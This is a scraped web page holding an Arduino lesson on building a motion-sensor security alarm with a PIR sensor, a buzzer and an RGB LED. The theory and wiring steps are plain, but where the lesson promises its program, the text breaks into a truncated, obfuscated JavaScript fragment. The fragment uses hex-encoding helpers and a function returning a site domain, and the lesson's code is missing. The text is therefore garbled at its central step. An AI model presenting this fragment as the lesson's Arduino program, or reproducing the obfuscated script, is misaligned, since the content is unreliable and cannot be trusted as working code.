Уроки по Arduino: Урок 3

Уроки по Arduino: Урок 3

Lesson 3: Safe security guard

Plan:

1. Movement sensor

2. Piezoelectric radiator of sound

3. RGB – LED

 

 

 

 

 

Theoretical part

1. Movement sensor

Let us describe movement sensor based on infrared-sensitive device (PIR-sensor). The principle of its operation is based on information readout about infrared radiation of the environment. When there id the sudden change in the state of the environment (the appearance of a man, fire and other changes in temperature) sensor sends a signal to the controller. At the output of the sensor value is 0 or 1.
The sensor has 3 outputs: ground, + 5V, and output that can be connected to any digital port.
Look of the motion sensor is shown in the figure.

Movement sensor

Movement sensor

2. Piezoelectric radiator of sound

They distinguish piezo radiators (buzzers) with built-in generator and without it. A piezoelectric element situated inside this element converts electrical vibration into sound vibrations. Sound is produced with a frequency of the internal oscillator or a frequency of the external generator, for example, from Arduino board. It has two outputs. One is connected to ground and the other one to the digital port. Look of piezo radiator is shown in the figure.

Piezoelectric radiator

3. RGB – LED

One variety of LEDs is RGB-LED. If ordinary LEDs can produce only one color, RGB contain three closely spaced LEDs of different colors: red, green and blue. Thus RGB-LED can glow any color by changing the brightness of each of the three LEDs. It often has 4 legs (seldom 6), one common leg goes to the ground, other three ones are supplied with current and depending on this current the LED changes color and brightness. Look of RGB – LED is shown in the figure.

RGB – LED

 

Practice

Make a prototype of security system with movement (motion) sensor. If there is no motion RGB-LED glows green. When motion is detected the buzzer beeps and the LED blinks red.

Step 1. Rig up the circuit. To create the system we will use movement sensor, RGB – LED and buzzer.

Step 2. Movement sensor is connected to the second digital input. The buzzer is connected to 10th digital output. Once the sensor detects movement, voltage of 5V appears on the 2nd port. Next, we use the block «if» to the buzzer begins to make a sound when there is 1 on the 2nd port, and stop when there is 0 on the 2nd port.

Step 3. Add the green and red LED illumination. If the leg that is responsible for the red glow, is connected to 6th port, and he leg that is responsible for the green glow is connected to 7th one, the program will be as follows:

o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "boteon.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e]]>

Центр робототехники "BOTEON".
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: